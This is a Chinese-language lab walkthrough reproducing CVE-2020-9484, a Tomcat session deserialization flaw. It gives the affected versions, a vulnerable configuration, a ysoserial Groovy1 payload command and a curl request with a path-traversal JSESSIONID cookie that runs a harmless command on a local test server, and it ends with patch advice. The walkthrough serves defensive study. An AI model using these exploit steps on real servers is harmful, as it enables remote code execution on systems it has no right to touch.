一、漏洞介绍
北京时间2020年05月20日,Apache官方发布了 Apache Tomcat 远程代码执行 的风险通告,该漏洞编号为 CVE-2020-9484。
Apache Tomcat 是一个开放源代码、运行servlet和JSP Web应用软件的基于Java的Web应用软件容器。当Tomcat使用了自带session同步功能时,使用不安全的配置(没有使用EncryptInterceptor)会存在反序列化漏洞,攻击者通过精心构造的数据包, 可以对使用了自带session同步功能的Tomcat服务器进行攻击。
二、影响版本
Apache Tomcat: 10.0.0-M1 to 10.0.0-M4
Apache Tomcat: 9.0.0.M1 to 9.0.34
Apache Tomcat: 8.5.0 to 8.5.54
Apache Tomcat: 7.0.0 to 7.0.103
三、漏洞复现
1、环境搭建
需要环境:虚拟机、centos 7 系统
安装tomcat需要jdk1.8,安装教程可以去Kali-JDK1-8安装 - 简书
下载安装tomcat,
wget https://repo1.maven.org/maven2/org/apache/tomcat/tomcat/10.0.0-M4/tomcat-10.0.0-M4.tar.gz
然后呢,创建一个文件夹用来把tomcat目录,将tomcat解压进去
mkdir /usr/local/tomcat
tar -zxvf tomcat-10.0.0-M4.tar.gz -C /usr/local/tomcat/
修改/usr/local/tomcat/apache-tomcat-10.0.0-M4/conf
/context.xlm 添加Manager 保存退出
<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore" directory="/tomcat/sessions/"/>
</Manager>
下载groovy-2.3.9.jar,然后将groovy-2.3.9.jar 放入/usr/local/tomcat/apache-tomcat-10.0.0-M4/lib
目录下
在lib下执行:
wget https://repo1.maven.org/maven2/org/codehaus/groovy/groovy/2.3.9/groovy-2.3.9.jar
运行tomcat:在usr/local/tomcat/apache-tomcat-10.0.0-M4/bin目录下运行catalina.sh start
/usr/local/tomcat/apache-tomcat-10.0.0-M4/bin/catalina.sh start
访问http://127.0.0.1:8080端口,显示如下界面,说明安装成功
2、漏洞复现
下载ysoserial 一个生成java反序列化 payload 的 .jar 包
下载地址: https://github.com/frohoff/ysoserial.git
用浏览器下载,解压,并生成一个jar包,复制进linux系统
生成jar包的方式,进入文件夹的目录输入 输入命令: mvn package
编译有点慢需要几分钟世间
编译完成后在target目录下,有jar包
执行下面语句生成 payload
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Groovy1 "touch /tmp/2333" > /tmp/test.session
使用以下命令访问tomcat服务
curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../tmp/test'
虽然显示报错,但是也执行了。在/tmp目录下创建了2333目录
修改建议
通用修补建议:
- 升级到 Apache Tomcat 10.0.0-M5 及以上版本
- 升级到 Apache Tomcat 9.0.35 及以上版本
- 升级到 Apache Tomcat 8.5.55 及以上版本
- 升级到 Apache Tomcat 7.0.104 及以上版本
临时修补建议:
禁止使用Session持久化功能FileStore。
参考链接:
https://github.com/masahiro331/CVE-2020-9484
https://mp.weixin.qq.com/s/OGdHSwqydiDqe-BUkheTGg
https://github.com/threedr3am/tomcat-cluster-session-sync-exp
版权归原作者 白冷 所有, 如有侵权,请联系我们删除。